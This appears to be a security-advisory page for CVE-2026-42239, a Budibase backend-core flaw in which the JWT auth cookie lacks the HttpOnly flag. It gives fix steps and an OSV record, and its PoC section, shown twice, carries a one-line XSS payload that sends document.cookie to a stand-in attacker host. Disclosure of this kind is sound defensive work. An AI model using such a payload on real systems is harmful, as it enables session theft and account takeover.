CVE-2026-42239: @budibase/backend core Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-4f9j-vr4p-642r
CVSS 8.1
CWE-1004
Published
Advisory Summary

CVE-2026-42239 is a HIGH (CVSS 8.1) cross-site scripting vulnerability (CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag) affecting @budibase/backend core libraries in the npm ecosystem. The issue involves false — any xss can lead to full account takeover. Remediation is available by upgrading affected packages to version 3.35.10.

CVE-2026-42239 at a Glance

CVE Identifier CVE-2026-42239
GHSA Identifier GHSA-4f9j-vr4p-642r
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag
Affected Product @budibase/backend core
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-42239

To remediate this vulnerability, upgrade all affected @budibase/backend core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@budibase/backend-core fixed: 3.35.10
npm install @budibase/backend-core@3.35.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @budibase/backend-core

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-42239, inspect your project dependencies using npm:

npm ls @budibase/backend-core

Analyze the terminal output to locate any version of @budibase/backend core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.35.10), your application is affected.

Note: The npm ls @budibase/backend-core command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag, where the product uses a cookie to store sensitive information, but the cookie is not marked with the httponly flag. In @budibase/backend core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `budibase:auth` cookie containing the JWT session token is set with `httpOnly: false` at `packages/backend-core/src/utils/utils.ts:218`. JavaScript can read this cookie via `document.cookie`. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account. The cookie also lacks `secure: true` (sent over plaintext HTTP) and `sameSite` attribute. ### Details `packages/backend-core/src/utils/utils.ts`, lines 215-226: ```typescript const config: SetOption = { expires: MAX_VALID_DATE, path: "/", httpOnly: false, // ← JavaScript can read the session JWT overwrite: true, } if (env.COOKIE_DOMAIN) { config.domain = env.COOKIE_DOMAIN } ctx.cookies.set(name, value, config) ``` This function is called for setting the `budibase:auth` cookie which contains the signed JWT session token. With `httpOnly: false`, any JavaScript execution context (XSS, injected script, browser extension) can read the token via `document.cookie`. Missing flags: - `httpOnly: false` → should be `true` (prevent JS access) - No `secure` flag → cookie sent over HTTP (should be `secure: true` for HTTPS deployments) - No `sameSite` → susceptible to cross-site request attachment (should be `sameSite: 'lax'`) ### PoC Any XSS payload can steal the session: ```javascript // Attacker's XSS payload — steals session and sends to attacker server new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie); ``` With `httpOnly: true`, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated. Combined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could: 1. Create an entity with a name containing `<script>` payload 2. Any user who views that entity has their JWT stolen 3. Attacker uses the JWT for persistent account access ### Impact Every XSS vulnerability — past, present, and future — becomes a full account takeover. The `httpOnly` flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from "session riding" to "persistent credential theft." This affects all Budibase deployments since the cookie configuration is hardcoded. ## ATTACHMENTS [BUDIBASE-TOP10-REPORT.md](https://github.com/user-attachments/files/26508656/BUDIBASE-TOP10-REPORT.md) ---

CVE-2026-42239 Affected @budibase/backend core Versions

1 component(s)
Fixed Versions:
3.35.10
Product / Package Ecosystem Affected Versions Fixed Version
@budibase/backend-core
npm
< 3.35.10
3.35.10

References

Frequently Asked Questions

What is CVE-2026-42239?
CVE-2026-42239 is a security vulnerability in @budibase/backend core involving false — any XSS can lead to full account takeover under CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag.
Which @budibase/backend core versions are affected?
Affected versions include releases prior to 3.35.10 across affected packages: @budibase/backend-core.
What version fixes CVE-2026-42239?
Upgrading to 3.35.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @budibase/backend-core affected?
Yes, @budibase/backend-core is affected in releases prior to 3.35.10. Upgrade your dependency to 3.35.10 or later.
What is the CVSS score of CVE-2026-42239?
CVE-2026-42239 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-42239?
CVE-2026-42239 is classified under CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag (The product uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.).
How can I check npm dependencies for CVE-2026-42239?
Run the dependency tree command: 'npm ls @budibase/backend-core'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4f9j-vr4p-642r",
  "modified" : "2026-05-11T13:29:32Z",
  "published" : "2026-04-24T16:18:52Z",
  "aliases" : [ "CVE-2026-42239" ],
  "summary" : "Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover",
  "details" : "### Summary\n\nThe `budibase:auth` cookie containing the JWT session token is set with `httpOnly: false` at `packages/backend-core/src/utils/utils.ts:218`. JavaScript can read this cookie via `document.cookie`. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account.\n\nThe cookie also lacks `secure: true` (sent over plaintext HTTP) and `sameSite` attribute.\n\n### Details\n\n`packages/backend-core/src/utils/utils.ts`, lines 215-226:\n\n```typescript\nconst config: SetOption = {\n  expires: MAX_VALID_DATE,\n  path: \"/\",\n  httpOnly: false,     // ← JavaScript can read the session JWT\n  overwrite: true,\n}\n\nif (env.COOKIE_DOMAIN) {\n  config.domain = env.COOKIE_DOMAIN\n}\n\nctx.cookies.set(name, value, config)\n```\n\nThis function is called for setting the `budibase:auth` cookie which contains the signed JWT session token. With `httpOnly: false`, any JavaScript execution context (XSS, injected script, browser extension) can read the token via `document.cookie`.\n\nMissing flags:\n- `httpOnly: false` → should be `true` (prevent JS access)\n- No `secure` flag → cookie sent over HTTP (should be `secure: true` for HTTPS deployments)\n- No `sameSite` → susceptible to cross-site request attachment (should be `sameSite: 'lax'`)\n\n### PoC\n\nAny XSS payload can steal the session:\n\n```javascript\n// Attacker's XSS payload — steals session and sends to attacker server\nnew Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);\n```\n\nWith `httpOnly: true`, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.\n\nCombined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:\n1. Create an entity with a name containing `<script>` payload\n2. Any user who views that entity has their JWT stolen\n3. Attacker uses the JWT for persistent account access\n\n### Impact\n\nEvery XSS vulnerability — past, present, and future — becomes a full account takeover. The `httpOnly` flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from \"session riding\" to \"persistent credential theft.\"\n\nThis affects all Budibase deployments since the cookie configuration is hardcoded.\n\n## ATTACHMENTS\n\n[BUDIBASE-TOP10-REPORT.md](https://github.com/user-attachments/files/26508656/BUDIBASE-TOP10-REPORT.md)\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@budibase/backend-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.35.10"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-4f9j-vr4p-642r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42239"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Budibase/budibase"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/releases/tag/3.35.10"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1004" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-24T16:18:52Z",
    "nvd_published_at" : "2026-05-07T20:16:44Z"
  }
}